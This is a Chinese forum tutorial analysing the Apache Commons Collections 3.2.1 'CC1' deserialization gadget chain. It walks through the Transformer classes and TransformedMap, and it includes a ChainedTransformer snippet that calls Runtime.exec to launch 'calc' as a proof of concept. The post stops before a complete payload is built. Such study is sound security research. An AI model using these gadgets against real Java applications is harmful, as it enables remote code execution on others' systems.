首页
社区
课程
招聘
1
[原创]CC1利用链分析
发表于: 2024-8-30 15:45 8857

[原创]CC1利用链分析

2024-8-30 15:45
8857

CC是“Commons Collections”的缩写,是 Apache Commons Collections 库的一部分。

实验环境

jdk8u65


maven依赖:

1
2
3
4
5
<dependency>
    <groupid>commons-collections</groupid>
    <artifactid>commons-collections</artifactid>
    <version>3.2.1</version>
</dependency>


Transformer接口

全类名:org.apache.commons.collections.Transformer,是 Apache Commons Collections 库中的一个接口,它定义了如何将一个输入对象转换为另一个输出对象,接口中只声明了一个方法:public Object transform(Object input);

在CC1利用链中需要用到的Transformer实现类有如下几个:

InvokerTransformer

作用:输入一个对象,通过反射调用对象中的方法并返回。

示例:

1
2
InvokerTransformer invokerTransformer = new InvokerTransformer("exec"new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(Runtime.getRuntime());

在调用transform方法时传入一个Runtime对象,InvokerTransformer会通过反射调用exec方法,来看看它的transform实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        // 通过输入的对象获取其Class对象
        Class cls = input.getClass();
        // 通过构造方法传入的方法名和参数类型获取Method对象
        Method method = cls.getMethod(iMethodName, iParamTypes);
        // 反射调用方法
        return method.invoke(input, iArgs);
             
    
//    ...
}

ConstantTransformer

它的作用是不管你输入什么,它只给你输出一个由构造器传入的对象:

1
2
3
public Object transform(Object input) {
    return iConstant;
}

ChainedTransformer

链式转换器,可以链式调用多个Transformer,构造器参数是一个Transformer数组,由上一个Transformer的输出作为下一个Transformer的输入。

示例:

1
2
3
4
new ChainedTransformer(new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec"new Class[]{String.class}, new Object[]{"calc"})
}).transform(null);

new一个ChainedTransformer,同时传入一个Transformer数组,第一个元素是ConstantTransformer,输出一个Runtime对象,第二个元素是InvokerTransformer,反射调用Runtime的exec方法。

其transform实现:

1
2
3
4
5
6
7
8
public Object transform(Object object) {
    // 遍历构造器传入的Transformer数组
    for (int i = 0; i < iTransformers.length; i++) {
        // 上一个Transformer的输出作为下一个Transformer的输入
        object = iTransformers[i].transform(object);
    }
    return object;
}

TransformedMap

org.apache.commons.collections.map.TransformedMap可以对原生Map类型对象做增强,采用了装饰者设计模式,用法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class TransformedMapExample {
 
    public static void main(String[] args) {
        // 创建一个原生Map
        Map<string, integer> baseMap = new HashMap<>();
        baseMap.put("apple"1);
 
        // 定义一个转换器,将key转换为小写
        Transformer keyTransformer = new Transformer() {
            @Override
            public String transform(Object input) {
                return input.toString().toLowerCase();
            }
        };
 
        // 定义一个转换器,将 value × 2
        Transformer valueTransformer = new Transformer() {
            @Override
            public Object transform(Object input) {
                return Integer.valueOf(input + "") * 2;
            }
        };
 
        // 创建TransformedMap装饰器
        Map<string, integer> transformedMap = TransformedMap.decorate(baseMap, keyTransformer, valueTransformer);
 
        // 向装饰后的Map添加元素
        transformedMap.put("GRAPE"2);
 
        // 输出Map的内容
        for (Map.Entry<string, integer> entry : transformedMap.entrySet()) {
            System.out.println(entry.getKey() + ": " + entry.getValue());
        }
 
        // 通过entry设置value
        for (Map.Entry<string, integer> entry : transformedMap.entrySet()) {
            entry.setValue(3);
        }
 
        for (Map.Entry<string, integer> entry : transformedMap.entrySet()) {
            System.out.println(entry.getKey() + ": " + entry.getValue());
        }
    }
}</string, integer></string, integer></string, integer></string, integer></string, integer>

使用原生map时,会原样put键值:

使用transformedMap时,会将key转为小写,value×2

debug看其源码实现,调用put方法时,会先调用transformKey,

然后又调用keyTransformer的transform方法:

继而调用到我们自定义的keyTransformer:

接下来调用transformValue,再调用valueTransformer.transform:

继而调用到自定义的valueTransformer:


还有一种触发valueTransformer的方式是通过entry调用setValue方法:

跟进去这里调用了parent.checkSetValue,parent就是transformedMap:

再步入到checkSetValue中,可见调用了valueTransformer.transform:

构造利用链

cc1链最终就是通过调用ChainedTransformer的transform方法触发RCE,那我们就寻找哪里调用了它,在方法名上按ALT + F7,



这里有上文分析的TransformedMap.checkSetValue方法,点进去:

再按ctrl点击checkSetValue,跳转到AbstractInputCheckedMapDecorator.MapEntry的setValue方法里,


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2024-8-30 19:36 被米龙·0xFFFE编辑 ,原因:
收藏
免费 1
支持
分享
赞赏记录
参与人
雪币
留言
时间
PLEBFE
为你点赞!
2024-12-15 03:06
最新回复 (0)
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册